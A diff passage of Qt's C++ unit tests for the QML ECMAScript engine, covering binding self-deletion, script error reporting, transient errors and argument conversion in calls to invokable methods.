+ QVERIFY(object->stringProperty().endsWith(", \"objName\")"));
+}
+
+/*
+Tests bindings that indirectly cause their own deletion work.
+
+This test is best run under valgrind to ensure no invalid memory access occur.
+*/
+void tst_qdeclarativeecmascript::selfDeletingBinding()
+{
+ {
+ QDeclarativeComponent component(&engine, TEST_FILE("selfDeletingBinding.qml"));
+ QObject *object = component.create();
+ QVERIFY(object != 0);
+ object->setProperty("triggerDelete", true);
+ }
+
+ {
+ QDeclarativeComponent component(&engine, TEST_FILE("selfDeletingBinding.2.qml"));
+ QObject *object = component.create();
+ QVERIFY(object != 0);
+ object->setProperty("triggerDelete", true);
+ }
+}
+
+/*
+Test that extended object properties can be accessed.
+
+This test a regression where this used to crash. The issue was specificially
+for extended objects that did not include a synthesized meta object (so non-root
+and no synthesiszed properties).
+*/
+void tst_qdeclarativeecmascript::extendedObjectPropertyLookup()
+{
+ QDeclarativeComponent component(&engine, TEST_FILE("extendedObjectPropertyLookup.qml"));
+ QObject *object = component.create();
+ QVERIFY(object != 0);
+}
+
+/*
+Test file/lineNumbers for binding/Script errors.
+*/
+void tst_qdeclarativeecmascript::scriptErrors()
+{
+ QDeclarativeComponent component(&engine, TEST_FILE("scriptErrors.qml"));
+ QString url = component.url().toString();
+
+ QString warning1 = url.left(url.length() - 3) + "js:2: Error: Invalid write to global property \"a\"";
+ QString warning2 = url + ":5: ReferenceError: Can't find variable: a";
+ QString warning3 = url.left(url.length() - 3) + "js:4: Error: Invalid write to global property \"a\"";
+ QString warning4 = url + ":10: ReferenceError: Can't find variable: a";
+ QString warning5 = url + ":8: ReferenceError: Can't find variable: a";
+ QString warning6 = url + ":7: Unable to assign [undefined] to int x";
+ QString warning7 = url + ":12: Error: Cannot assign to read-only property \"trueProperty\"";
+ QString warning8 = url + ":13: Error: Cannot assign to non-existent property \"fakeProperty\"";
+
+ QTest::ignoreMessage(QtWarningMsg, warning1.toLatin1().constData());
+ QTest::ignoreMessage(QtWarningMsg, warning2.toLatin1().constData());
+ QTest::ignoreMessage(QtWarningMsg, warning3.toLatin1().constData());
+ QTest::ignoreMessage(QtWarningMsg, warning5.toLatin1().constData());
+ QTest::ignoreMessage(QtWarningMsg, warning6.toLatin1().constData());
+ MyQmlObject *object = qobject_cast<MyQmlObject *>(component.create());
+ QVERIFY(object != 0);
+
+ QTest::ignoreMessage(QtWarningMsg, warning4.toLatin1().constData());
+ emit object->basicSignal();
+
+ QTest::ignoreMessage(QtWarningMsg, warning7.toLatin1().constData());
+ emit object->anotherBasicSignal();
+
+ QTest::ignoreMessage(QtWarningMsg, warning8.toLatin1().constData());
+ emit object->thirdBasicSignal();
+}
+
+/*
+Test file/lineNumbers for inline functions.
+*/
+void tst_qdeclarativeecmascript::functionErrors()
+{
+ QDeclarativeComponent component(&engine, TEST_FILE("functionErrors.qml"));
+ QString url = component.url().toString();
+
+ QString warning = url + ":5: Error: Invalid write to global property \"a\"";
+
+ QTest::ignoreMessage(QtWarningMsg, warning.toLatin1().constData());
+
+ QObject *object = component.create();
+ QVERIFY(object != 0);
+ delete object;
+}
+
+/*
+Test various errors that can occur when assigning a property from script
+*/
+void tst_qdeclarativeecmascript::propertyAssignmentErrors()
+{
+ QDeclarativeComponent component(&engine, TEST_FILE("propertyAssignmentErrors.qml"));
+
+ QString url = component.url().toString();
+
+ QString warning1 = url + ":11:Error: Cannot assign [undefined] to int";
+ QString warning2 = url + ":17:Error: Cannot assign QString to int";
+
+ QTest::ignoreMessage(QtDebugMsg, warning1.toLatin1().constData());
+ QTest::ignoreMessage(QtDebugMsg, warning2.toLatin1().constData());
+
+ QObject *object = component.create();
+ QVERIFY(object != 0);
+
+ delete object;
+}
+
+/*
+Test bindings still work when the reeval is triggered from within
+a signal script.
+*/
+void tst_qdeclarativeecmascript::signalTriggeredBindings()
+{
+ QDeclarativeComponent component(&engine, TEST_FILE("signalTriggeredBindings.qml"));
+ MyQmlObject *object = qobject_cast<MyQmlObject*>(component.create());
+ QVERIFY(object != 0);
+
+ QCOMPARE(object->property("base").toReal(), 50.);
+ QCOMPARE(object->property("test1").toReal(), 50.);
+ QCOMPARE(object->property("test2").toReal(), 50.);
+
+ object->basicSignal();
+
+ QCOMPARE(object->property("base").toReal(), 200.);
+ QCOMPARE(object->property("test1").toReal(), 200.);
+ QCOMPARE(object->property("test2").toReal(), 200.);
+
+ object->argumentSignal(10, QString(), 10, MyQmlObject::EnumValue4, Qt::RightButton);
+
+ QCOMPARE(object->property("base").toReal(), 400.);
+ QCOMPARE(object->property("test1").toReal(), 400.);
+ QCOMPARE(object->property("test2").toReal(), 400.);
+}
+
+/*
+Test that list properties can be iterated from ECMAScript
+*/
+void tst_qdeclarativeecmascript::listProperties()
+{
+ QDeclarativeComponent component(&engine, TEST_FILE("listProperties.qml"));
+ MyQmlObject *object = qobject_cast<MyQmlObject*>(component.create());
+ QVERIFY(object != 0);
+
+ QCOMPARE(object->property("test1").toInt(), 21);
+ QCOMPARE(object->property("test2").toInt(), 2);
+ QCOMPARE(object->property("test3").toBool(), true);
+ QCOMPARE(object->property("test4").toBool(), true);
+}
+
+void tst_qdeclarativeecmascript::exceptionClearsOnReeval()
+{
+ QDeclarativeComponent component(&engine, TEST_FILE("exceptionClearsOnReeval.qml"));
+ QString url = component.url().toString();
+
+ QString warning = url + ":4: TypeError: Result of expression 'objectProperty' [null] is not an object.";
+
+ QTest::ignoreMessage(QtWarningMsg, warning.toLatin1().constData());
+ MyQmlObject *object = qobject_cast<MyQmlObject*>(component.create());
+ QVERIFY(object != 0);
+
+ QCOMPARE(object->property("test").toBool(), false);
+
+ MyQmlObject object2;
+ MyQmlObject object3;
+ object2.setObjectProperty(&object3);
+ object->setObjectProperty(&object2);
+
+ QCOMPARE(object->property("test").toBool(), true);
+}
+
+void tst_qdeclarativeecmascript::exceptionSlotProducesWarning()
+{
+ QDeclarativeComponent component(&engine, TEST_FILE("exceptionProducesWarning.qml"));
+ QString url = component.url().toString();
+
+ QString warning = component.url().toString() + ":6: Error: JS exception";
+
+ QTest::ignoreMessage(QtWarningMsg, warning.toLatin1().constData());
+ MyQmlObject *object = qobject_cast<MyQmlObject*>(component.create());
+ QVERIFY(object != 0);
+}
+
+void tst_qdeclarativeecmascript::exceptionBindingProducesWarning()
+{
+ QDeclarativeComponent component(&engine, TEST_FILE("exceptionProducesWarning2.qml"));
+ QString url = component.url().toString();
+
+ QString warning = component.url().toString() + ":5: Error: JS exception";
+
+ QTest::ignoreMessage(QtWarningMsg, warning.toLatin1().constData());
+ MyQmlObject *object = qobject_cast<MyQmlObject*>(component.create());
+ QVERIFY(object != 0);
+}
+
+static int transientErrorsMsgCount = 0;
+static void transientErrorsMsgHandler(QtMsgType, const char *)
+{
+ ++transientErrorsMsgCount;
+}
+
+// Check that transient binding errors are not displayed
+void tst_qdeclarativeecmascript::transientErrors()
+{
+ {
+ QDeclarativeComponent component(&engine, TEST_FILE("transientErrors.qml"));
+
+ transientErrorsMsgCount = 0;
+ QtMsgHandler old = qInstallMsgHandler(transientErrorsMsgHandler);
+
+ QObject *object = component.create();
+ QVERIFY(object != 0);
+
+ qInstallMsgHandler(old);
+
+ QCOMPARE(transientErrorsMsgCount, 0);
+ }
+
+ // One binding erroring multiple times, but then resolving
+ {
+ QDeclarativeComponent component(&engine, TEST_FILE("transientErrors.2.qml"));
+
+ transientErrorsMsgCount = 0;
+ QtMsgHandler old = qInstallMsgHandler(transientErrorsMsgHandler);
+
+ QObject *object = component.create();
+ QVERIFY(object != 0);
+
+ qInstallMsgHandler(old);
+
+ QCOMPARE(transientErrorsMsgCount, 0);
+ }
+}
+
+// Check that errors during shutdown are minimized
+void tst_qdeclarativeecmascript::shutdownErrors()
+{
+ QDeclarativeComponent component(&engine, TEST_FILE("shutdownErrors.qml"));
+ QObject *object = component.create();
+ QVERIFY(object != 0);
+
+ transientErrorsMsgCount = 0;
+ QtMsgHandler old = qInstallMsgHandler(transientErrorsMsgHandler);
+
+ delete object;
+
+ qInstallMsgHandler(old);
+ QCOMPARE(transientErrorsMsgCount, 0);
+}
+
+void tst_qdeclarativeecmascript::compositePropertyType()
+{
+ QDeclarativeComponent component(&engine, TEST_FILE("compositePropertyType.qml"));
+ QTest::ignoreMessage(QtDebugMsg, "hello world");
+ QObject *object = qobject_cast<QObject *>(component.create());
+ delete object;
+}
+
+// QTBUG-5759
+void tst_qdeclarativeecmascript::jsObject()
+{
+ QDeclarativeComponent component(&engine, TEST_FILE("jsObject.qml"));
+ QObject *object = component.create();
+ QVERIFY(object != 0);
+
+ QCOMPARE(object->property("test").toInt(), 92);
+
+ delete object;
+}
+
+void tst_qdeclarativeecmascript::undefinedResetsProperty()
+{
+ {
+ QDeclarativeComponent component(&engine, TEST_FILE("undefinedResetsProperty.qml"));
+ QObject *object = component.create();
+ QVERIFY(object != 0);
+
+ QCOMPARE(object->property("resettableProperty").toInt(), 92);
+
+ object->setProperty("setUndefined", true);
+
+ QCOMPARE(object->property("resettableProperty").toInt(), 13);
+
+ object->setProperty("setUndefined", false);
+
+ QCOMPARE(object->property("resettableProperty").toInt(), 92);
+
+ delete object;
+ }
+ {
+ QDeclarativeComponent component(&engine, TEST_FILE("undefinedResetsProperty.2.qml"));
+ QObject *object = component.create();
+ QVERIFY(object != 0);
+
+ QCOMPARE(object->property("resettableProperty").toInt(), 19);
+
+ QMetaObject::invokeMethod(object, "doReset");
+
+ QCOMPARE(object->property("resettableProperty").toInt(), 13);
+
+ delete object;
+ }
+}
+
+// QTBUG-6781
+void tst_qdeclarativeecmascript::bug1()
+{
+ QDeclarativeComponent component(&engine, TEST_FILE("bug.1.qml"));
+ QObject *object = component.create();
+ QVERIFY(object != 0);
+
+ QCOMPARE(object->property("test").toInt(), 14);
+
+ object->setProperty("a", 11);
+
+ QCOMPARE(object->property("test").toInt(), 3);
+
+ object->setProperty("b", true);
+
+ QCOMPARE(object->property("test").toInt(), 9);
+
+ delete object;
+}
+
+void tst_qdeclarativeecmascript::bug2()
+{
+ QDeclarativeComponent component(&engine);
+ component.setData("import Qt.test 1.0;\nQPlainTextEdit { width: 100 }", QUrl());
+
+ QObject *object = component.create();
+ QVERIFY(object != 0);
+
+ delete object;
+}
+
+// Don't crash in createObject when the component has errors.
+void tst_qdeclarativeecmascript::dynamicCreationCrash()
+{
+ QDeclarativeComponent component(&engine, TEST_FILE("dynamicCreation.qml"));
+ MyQmlObject *object = qobject_cast<MyQmlObject*>(component.create());
+ QVERIFY(object != 0);
+
+ QTest::ignoreMessage(QtWarningMsg, "QDeclarativeComponent: Component is not ready");
+ QMetaObject::invokeMethod(object, "dontCrash");
+ QObject *created = object->objectProperty();
+ QVERIFY(created == 0);
+}
+
+//QTBUG-9367
+void tst_qdeclarativeecmascript::regExpBug()
+{
+ QDeclarativeComponent component(&engine, TEST_FILE("regExp.qml"));
+ MyQmlObject *object = qobject_cast<MyQmlObject*>(component.create());
+ QVERIFY(object != 0);
+ QCOMPARE(object->regExp().pattern(), QLatin1String("[a-zA-z]"));
+}
+
+void tst_qdeclarativeecmascript::callQtInvokables()
+{
+ MyInvokableObject o;
+
+ QDeclarativeEngine qmlengine;
+ QDeclarativeEnginePrivate *ep = QDeclarativeEnginePrivate::get(&qmlengine);
+ QScriptEngine *engine = &ep->scriptEngine;
+
+ QStringList names; QList<QScriptValue> values;
+ names << QLatin1String("object"); values << ep->objectClass->newQObject(&o);
+ names << QLatin1String("undefined"); values << engine->undefinedValue();
+
+ ep->globalClass->explicitSetProperty(names, values);
+
+ // Non-existent methods
+ o.reset();
+ QCOMPARE(engine->evaluate("object.method_nonexistent()").isError(), true);
+ QCOMPARE(o.error(), false);
+ QCOMPARE(o.invoked(), -1);
+ QCOMPARE(o.actuals().count(), 0);
+
+ o.reset();
+ QCOMPARE(engine->evaluate("object.method_nonexistent(10, 11)").isError(), true);
+ QCOMPARE(o.error(), false);
+ QCOMPARE(o.invoked(), -1);
+ QCOMPARE(o.actuals().count(), 0);
+
+ // Insufficient arguments
+ o.reset();
+ QCOMPARE(engine->evaluate("object.method_int()").isError(), true);
+ QCOMPARE(o.error(), false);
+ QCOMPARE(o.invoked(), -1);
+ QCOMPARE(o.actuals().count(), 0);
+
+ o.reset();
+ QCOMPARE(engine->evaluate("object.method_intint(10)").isError(), true);
+ QCOMPARE(o.error(), false);
+ QCOMPARE(o.invoked(), -1);
+ QCOMPARE(o.actuals().count(), 0);
+
+ // Excessive arguments
+ o.reset();
+ QCOMPARE(engine->evaluate("object.method_int(10, 11)").isUndefined(), true);
+ QCOMPARE(o.error(), false);
+ QCOMPARE(o.invoked(), 8);
+ QCOMPARE(o.actuals().count(), 1);
+ QCOMPARE(o.actuals().at(0), QVariant(10));
+
+ o.reset();
+ QCOMPARE(engine->evaluate("object.method_intint(10, 11, 12)").isUndefined(), true);
+ QCOMPARE(o.error(), false);
+ QCOMPARE(o.invoked(), 9);
+ QCOMPARE(o.actuals().count(), 2);
+ QCOMPARE(o.actuals().at(0), QVariant(10));
+ QCOMPARE(o.actuals().at(1), QVariant(11));
+
+ // Test return types
+ o.reset();
+ QCOMPARE(engine->evaluate("object.method_NoArgs()").isUndefined(), true);
+ QCOMPARE(o.error(), false);
+ QCOMPARE(o.invoked(), 0);
+ QCOMPARE(o.actuals().count(), 0);
+
+ o.reset();
+ QVERIFY(engine->evaluate("object.method_NoArgs_int()").strictlyEquals(QScriptValue(engine, 6)));
+ QCOMPARE(o.error(), false);
+ QCOMPARE(o.invoked(), 1);
+ QCOMPARE(o.actuals().count(), 0);
+
+ o.reset();
+ QVERIFY(engine->evaluate("object.method_NoArgs_real()").strictlyEquals(QScriptValue(engine, 19.75)));
+ QCOMPARE(o.error(), false);
+ QCOMPARE(o.invoked(), 2);
+ QCOMPARE(o.actuals().count(), 0);
+
+ o.reset();
+ {
+ QScriptValue ret = engine->evaluate("object.method_NoArgs_QPointF()");
+ QCOMPARE(ret.toVariant(), QVariant(QPointF(123, 4.5)));
+ QCOMPARE(o.error(), false);
+ QCOMPARE(o.invoked(), 3);
+ QCOMPARE(o.actuals().count(), 0);
+ }
+
+ o.reset();
+ {
+ QScriptValue ret = engine->evaluate("object.method_NoArgs_QObject()");
+ QVERIFY(ret.isQObject());
+ QCOMPARE(ret.toQObject(), (QObject *)&o);
+ QCOMPARE(o.error(), false);
+ QCOMPARE(o.invoked(), 4);
+ QCOMPARE(o.actuals().count(), 0);
+ }
+
+ o.reset();
+ QCOMPARE(engine->evaluate("object.method_NoArgs_unknown()").isUndefined(), true);
+ QCOMPARE(o.error(), false);
+ QCOMPARE(o.invoked(), 5);
+ QCOMPARE(o.actuals().count(), 0);
+
+ o.reset();
+ {
+ QScriptValue ret = engine->evaluate("object.method_NoArgs_QScriptValue()");
+ QVERIFY(ret.isString());
+ QCOMPARE(ret.toString(), QString("Hello world"));
+ QCOMPARE(o.error(), false);
+ QCOMPARE(o.invoked(), 6);
+ QCOMPARE(o.actuals().count(), 0);
+ }
+
+ o.reset();
+ QVERIFY(engine->evaluate("object.method_NoArgs_QVariant()").strictlyEquals(QScriptValue(engine, "QML rocks")));
+ QCOMPARE(o.error(), false);
+ QCOMPARE(o.invoked(), 7);
+ QCOMPARE(o.actuals().count(), 0);
+
+ // Test arg types
+ o.reset();
+ QCOMPARE(engine->evaluate("object.method_int(94)").isUndefined(), true);
+ QCOMPARE(o.error(), false);
+ QCOMPARE(o.invoked(), 8);
+ QCOMPARE(o.actuals().count(), 1);
+ QCOMPARE(o.actuals().at(0), QVariant(94));
+
+ o.reset();
+ QCOMPARE(engine->evaluate("object.method_int(\"94\")").isUndefined(), true);
+ QCOMPARE(o.error(), false);
+ QCOMPARE(o.invoked(), 8);
+ QCOMPARE(o.actuals().count(), 1);
+ QCOMPARE(o.actuals().at(0), QVariant(94));
+
+ o.reset();
+ QCOMPARE(engine->evaluate("object.method_int(\"not a number\")").isUndefined(), true);
+ QCOMPARE(o.error(), false);
+ QCOMPARE(o.invoked(), 8);
+ QCOMPARE(o.actuals().count(), 1);
+ QCOMPARE(o.actuals().at(0), QVariant(0));
+
+ o.reset();
+ QCOMPARE(engine->evaluate("object.method_int(null)").isUndefined(), true);
+ QCOMPARE(o.error(), false);
+ QCOMPARE(o.invoked(), 8);
+ QCOMPARE(o.actuals().count(), 1);
+ QCOMPARE(o.actuals().at(0), QVariant(0));
+
+ o.reset();
+ QCOMPARE(engine->evaluate("object.method_int(undefined)").isUndefined(), true);
+ QCOMPARE(o.error(), false);
+ QCOMPARE(o.invoked(), 8);
+ QCOMPARE(o.actuals().count(), 1);
+ QCOMPARE(o.actuals().at(0), QVariant(0));
+
+ o.reset();
+ QCOMPARE(engine->evaluate("object.method_int(object)").isUndefined(), true);
+ QCOMPARE(o.error(), false);
+ QCOMPARE(o.invoked(), 8);
+ QCOMPARE(o.actuals().count(), 1);
+ QCOMPARE(o.actuals().at(0), QVariant(0));
+
+ o.reset();
+ QCOMPARE(engine->evaluate("object.method_intint(122, 9)").isUndefined(), true);
+ QCOMPARE(o.error(), false);
+ QCOMPARE(o.invoked(), 9);
+ QCOMPARE(o.actuals().count(), 2);
+ QCOMPARE(o.actuals().at(0), QVariant(122));
+ QCOMPARE(o.actuals().at(1), QVariant(9));
+
+ o.reset();
+ QCOMPARE(engine->evaluate("object.method_real(94.3)").isUndefined(), true);
+ QCOMPARE(o.error(), false);
+ QCOMPARE(o.invoked(), 10);
+ QCOMPARE(o.actuals().count(), 1);
+ QCOMPARE(o.actuals().at(0), QVariant(94.3));
+
+ o.reset();
+ QCOMPARE(engine->evaluate("object.method_real(\"94.3\")").isUndefined(), true);
+ QCOMPARE(o.error(), false);
+ QCOMPARE(o.invoked(), 10);
+ QCOMPARE(o.actuals().count(), 1);
+ QCOMPARE(o.actuals().at(0), QVariant(94.3));
+
+ o.reset();
+ QCOMPARE(engine->evaluate("object.method_real(\"not a number\")").isUndefined(), true);
+ QCOMPARE(o.error(), false);
+ QCOMPARE(o.invoked(), 10);
+ QCOMPARE(o.actuals().count(), 1);
+ QVERIFY(qIsNaN(o.actuals().at(0).toDouble()));
+
+ o.reset();
+ QCOMPARE(engine->evaluate("object.method_real(null)").isUndefined(), true);
+ QCOMPARE(o.error(), false);
+ QCOMPARE(o.invoked(), 10);
+ QCOMPARE(o.actuals().count(), 1);
+ QCOMPARE(o.actuals().at(0), QVariant(0));
+
+ o.reset();
+ QCOMPARE(engine->evaluate("object.method_real(undefined)").isUndefined(), true);
+ QCOMPARE(o.error(), false);
+ QCOMPARE(o.invoked(), 10);
+ QCOMPARE(o.actuals().count(), 1);
+ QVERIFY(qIsNaN(o.actuals().at(0).toDouble()));
+
+ o.reset();
+ QCOMPARE(engine->evaluate("object.method_real(object)").isUndefined(), true);
+ QCOMPARE(o.error(), false);
+ QCOMPARE(o.invoked(), 10);
+ QCOMPARE(o.actuals().count(), 1);
+ QVERIFY(qIsNaN(o.actuals().at(0).toDouble()));
+
+ o.reset();
+ QCOMPARE(engine->evaluate("object.method_QString(\"Hello world\")").isUndefined(), true);
+ QCOMPARE(o.error(), false);
+ QCOMPARE(o.invoked(), 11);
+ QCOMPARE(o.actuals().count(), 1);
+ QCOMPARE(o.actuals().at(0), QVariant("Hello world"));
+
+ o.reset();
+ QCOMPARE(engine->evaluate("object.method_QString(19)").isUndefined(), true);
+ QCOMPARE(o.error(), false);
+ QCOMPARE(o.invoked(), 11);
+ QCOMPARE(o.actuals().count(), 1);
+ QCOMPARE(o.actuals().at(0), QVariant("19"));
+
+ o.reset();
+ {
+ QString expected = "MyInvokableObject(0x" + QString::number((quintptr)&o, 16) + ")";
+ QCOMPARE(engine->evaluate("object.method_QString(object)").isUndefined(), true);
+ QCOMPARE(o.error(), false);
+ QCOMPARE(o.invoked(), 11);
+ QCOMPARE(o.actuals().count(), 1);
+ QCOMPARE(o.actuals().at(0), QVariant(expected));
+ }
+
+ o.reset();
+ QCOMPARE(engine->evaluate("object.method_QString(null)").isUndefined(), true);
+ QCOMPARE(o.error(), false);
+ QCOMPARE(o.invoked(), 11);
+ QCOMPARE(o.actuals().count(), 1);
+ QCOMPARE(o.actuals().at(0), QVariant(QString()));
+
+ o.reset();
+ QCOMPARE(engine->evaluate("object.method_QString(undefined)").isUndefined(), true);
+ QCOMPARE(o.error(), false);
+ QCOMPARE(o.invoked(), 11);
+ QCOMPARE(o.actuals().count(), 1);
+ QCOMPARE(o.actuals().at(0), QVariant(QString()));
+
+ o.reset();
+ QCOMPARE(engine->evaluate("object.method_QPointF(0)").isUndefined(), true);
+ QCOMPARE(o.error(), false);
+ QCOMPARE(o.invoked(), 12);
+ QCOMPARE(o.actuals().count(), 1);
+ QCOMPARE(o.actuals().at(0), QVariant(QPointF()));
+
+ o.reset();
+ QCOMPARE(engine->evaluate("object.method_QPointF(null)").isUndefined(), true);
+ QCOMPARE(o.error(), false);
+ QCOMPARE(o.invoked(), 12);
+ QCOMPARE(o.actuals().count(), 1);
+ QCOMPARE(o.actuals().at(0), QVariant(QPointF()));
+
+ o.reset();
+ QCOMPARE(engine->evaluate("object.method_QPointF(undefined)").isUndefined(), true);
+ QCOMPARE(o.error(), false);
+ QCOMPARE(o.invoked(), 12);
+ QCOMPARE(o.actuals().count(), 1);
+ QCOMPARE(o.actuals().at(0), QVariant(QPointF()));
+
+ o.reset();
+ QCOMPARE(engine->evaluate("object.method_QPointF(object)").isUndefined(), true);
+ QCOMPARE(o.error(), false);
+ QCOMPARE(o.invoked(), 12);
+ QCOMPARE(o.actuals().count(), 1);
+ QCOMPARE(o.actuals().at(0), QVariant(QPointF()));
+
+ o.reset();
+ QCOMPARE(engine->evaluate("object.method_QPointF(object.method_get_QPointF())").isUndefined(), true);
+ QCOMPARE(o.error(), false);
+ QCOMPARE(o.invoked(), 12);
+ QCOMPARE(o.actuals().count(), 1);
+ QCOMPARE(o.actuals().at(0), QVariant(QPointF(99.3, -10.2)));
+
+ o.reset();
+ QCOMPARE(engine->evaluate("object.method_QPointF(object.method_get_QPoint())").isUndefined(), true);
+ QCOMPARE(o.error(), false);
+ QCOMPARE(o.invoked(), 12);
+ QCOMPARE(o.actuals().count(), 1);
+ QCOMPARE(o.actuals().at(0), QVariant(QPointF(9, 12)));
+
+ o.reset();
+ QCOMPARE(engine->evaluate("object.method_QObject(0)").isUndefined(), true);
+ QCOMPARE(o.error(), false);
+ QCOMPARE(o.invoked(), 13);
+ QCOMPARE(o.actuals().count(), 1);
+ QCOMPARE(o.actuals().at(0), qVariantFromValue((QObject *)0));
+
+ o.reset();
+ QCOMPARE(engine->evaluate("object.method_QObject(\"Hello world\")").isUndefined(), true);
+ QCOMPARE(o.error(), false);
+ QCOMPARE(o.invoked(), 13);
+ QCOMPARE(o.actuals().count(), 1);
+ QCOMPARE(o.actuals().at(0), qVariantFromValue((QObject *)0));
+
+ o.reset();
+ QCOMPARE(engine->evaluate("object.method_QObject(null)").isUndefined(), true);
+ QCOMPARE(o.error(), false);
+ QCOMPARE(o.invoked(), 13);
+ QCOMPARE(o.actuals().count(), 1);
+ QCOMPARE(o.actuals().at(0), qVariantFromValue((QObject *)0));
+
+ o.reset();
+ QCOMPARE(engine->evaluate("object.method_QObject(undefined)").isUndefined(), true);
+ QCOMPARE(o.error(), false);
+ QCOMPARE(o.invoked(), 13);
+ QCOMPARE(o.actuals().count(), 1);
+ QCOMPARE(o.actuals().at(0), qVariantFromValue((QObject *)0));
+
+ o.reset();
+ QCOMPARE(engine->evaluate("object.method_QObject(object)").isUndefined(), true);
+ QCOMPARE(o.error(), false);
+ QCOMPARE(o.invoked(), 13);
+ QCOMPARE(o.actuals().count(), 1);
+ QCOMPARE(o.actuals().at(0), qVariantFromValue((QObject *)&o));
+
+ o.reset();
+ QCOMPARE(engine->evaluate("object.method_QScriptValue(null)").isUndefined(), true);
+ QCOMPARE(o.error(), false);
+ QCOMPARE(o.invoked(), 14);
+ QCOMPARE(o.actuals().count(), 1);
+ QVERIFY(qvariant_cast<QScriptValue>(o.actuals().at(0)).isNull());
+
+ o.reset();
+ QCOMPARE(engine->evaluate("object.method_QScriptValue(undefined)").isUndefined(), true);
+ QCOMPARE(o.error(), false);
+ QCOMPARE(o.invoked(), 14);
+ QCOMPARE(o.actuals().count(), 1);
+ QVERIFY(qvariant_cast<QScriptValue>(o.actuals().at(0)).isUndefined());
+
+ o.reset();
+ QCOMPARE(engine->evaluate("object.method_QScriptValue(19)").isUndefined(), true);
+ QCOMPARE(o.error(), false);
+ QCOMPARE(o.invoked(), 14);
+ QCOMPARE(o.actuals().count(), 1);
+ QVERIFY(qvariant_cast<QScriptValue>(o.actuals().at(0)).strictlyEquals(QScriptValue(engine, 19)));
+
+ o.reset();
+ QCOMPARE(engine->evaluate("object.method_QScriptValue([19, 20])").isUndefined(), true);
+ QCOMPARE(o.error(), false);
+ QCOMPARE(o.invoked(), 14);
+ QCOMPARE(o.actuals().count(), 1);
+ QVERIFY(qvariant_cast<QScriptValue>(o.actuals().at(0)).isArray());
+
+ o.reset();
+ QCOMPARE(engine->evaluate("object.method_intQScriptValue(4, null)").isUndefined(), true);
+ QCOMPARE(o.error(), false);
+ QCOMPARE(o.invoked(), 15);
+ QCOMPARE(o.actuals().count(), 2);
+ QCOMPARE(o.actuals().at(0), QVariant(4));
+ QVERIFY(qvariant_cast<QScriptValue>(o.actuals().at(1)).isNull());
+
+ o.reset();
+ QCOMPARE(engine->evaluate("object.method_intQScriptValue(8, undefined)").isUndefined(), true);
+ QCOMPARE(o.error(), false);
+ QCOMPARE(o.invoked(), 15);
+ QCOMPARE(o.actuals().count(), 2);
+ QCOMPARE(o.actuals().at(0), QVariant(8));
+ QVERIFY(qvariant_cast<QScriptValue>(o.actuals().at(1)).isUndefined());
+
+ o.reset();
+ QCOMPARE(engine->evaluate("object.method_intQScriptValue(3, 19)").isUndefined(), true);
+ QCOMPARE(o.error(), false);
+ QCOMPARE(o.invoked(), 15);
+ QCOMPARE(o.actuals().count(), 2);
+ QCOMPARE(o.actuals().at(0), QVariant(3));
+ QVERIFY(qvariant_cast<QScriptValue>(o.actuals().at(1)).strictlyEquals(QScriptValue(engine, 19)));
+
+ o.reset();
+ QCOMPARE(engine->evaluate("object.method_intQScriptValue(44, [19, 20])").isUndefined(), true);
+ QCOMPARE(o.error(), false);
+ QCOMPARE(o.invoked(), 15);
+ QCOMPARE(o.actuals().count(), 2);
+ QCOMPARE(o.actuals().at(0), QVariant(44));
+ QVERIFY(qvariant_cast<QScriptValue>(o.actuals().at(1)).isArray());
+
+ o.reset();
+ QCOMPARE(engine->evaluate("object.method_overload()").isError(), true);
+ QCOMPARE(o.error(), false);
+ QCOMPARE(o.invoked(), -1);
+ QCOMPARE(o.actuals().count(), 0);
+
+ o.reset();
+ QCOMPARE(engine->evaluate("object.method_overload(10)").isUndefined(), true);
+ QCOMPARE(o.error(), false);
+ QCOMPARE(o.invoked(), 16);
+ QCOMPARE(o.actuals().count(), 1);
+ QCOMPARE(o.actuals().at(0), QVariant(10));
+
+ o.reset();
+ QCOMPARE(engine->evaluate("object.method_overload(10, 11)").isUndefined(), true);
+ QCOMPARE(o.error(), false);
+ QCOMPARE(o.invoked(), 17);
+ QCOMPARE(o.actuals().count(), 2);
+ QCOMPARE(o.actuals().at(0), QVariant(10));
+ QCOMPARE(o.actuals().at(1), QVariant(11));
+
+ o.reset();
+ QCOMPARE(engine->evaluate("object.method_overload(\"Hello\")").isUndefined(), true);
+ QCOMPARE(o.error(), false);
+ QCOMPARE(o.invoked(), 18);
+ QCOMPARE(o.actuals().count(), 1);
+ QCOMPARE(o.actuals().at(0), QVariant(QString("Hello")));
+
+ o.reset();
+ QCOMPARE(engine->evaluate("object.method_with_enum(9)").isUndefined(), true);
+ QCOMPARE(o.error(), false);
+ QCOMPARE(o.invoked(), 19);
+ QCOMPARE(o.actuals().count(), 1);
+ QCOMPARE(o.actuals().at(0), QVariant(9));
+
+ o.reset();
+ QVERIFY(engine->evaluate("object.method_default(10)").strictlyEquals(QScriptValue(19)));
+ QCOMPARE(o.error(), false);
+ QCOMPARE(o.invoked(), 20);
+ QCOMPARE(o.actuals().count(), 2);
+ QCOMPARE(o.actuals().at(0), QVariant(10));
+ QCOMPARE(o.actuals().at(1), QVariant(19));
+
+ o.reset();
+ QVERIFY(engine->evaluate("object.method_default(10, 13)").strictlyEquals(QScriptValue(13)));
+ QCOMPARE(o.error(), false);
+ QCOMPARE(o.invoked(), 20);
+ QCOMPARE(o.actuals().count(), 2);
+ QCOMPARE(o.actuals().at(0), QVariant(10));
+ QCOMPARE(o.actuals().at(1), QVariant(13));
+
+ o.reset();
+ QCOMPARE(engine->evaluate("object.method_inherited(9)").isUndefined(), true);
+ QCOMPARE(o.error(), false);
+ QCOMPARE(o.invoked(), -3);
+ QCOMPARE(o.actuals().count(), 1);
+ QCOMPARE(o.actuals().at(0), QVariant(9));
+
+ o.reset();
+ QCOMPARE(engine->evaluate("object.method_QVariant(9)").isUndefined(), true);
+ QCOMPARE(o.error(), false);
+ QCOMPARE(o.invoked(), 21);
+ QCOMPARE(o.actuals().count(), 2);
+ QCOMPARE(o.actuals().at(0), QVariant(9));
+ QCOMPARE(o.actuals().at(1), QVariant());
+
+ o.reset();
+ QCOMPARE(engine->evaluate("object.method_QVariant(\"Hello\", \"World\")").isUndefined(), true);
+ QCOMPARE(o.error(), false);
+ QCOMPARE(o.invoked(), 21);
+ QCOMPARE(o.actuals().count(), 2);
+ QCOMPARE(o.actuals().at(0), QVariant(QString("Hello")));
+ QCOMPARE(o.actuals().at(1), QVariant(QString("World")));
+}
+
+// QTBUG-13047 (check that you can pass registered object types as args)
+void tst_qdeclarativeecmascript::invokableObjectArg()
+{
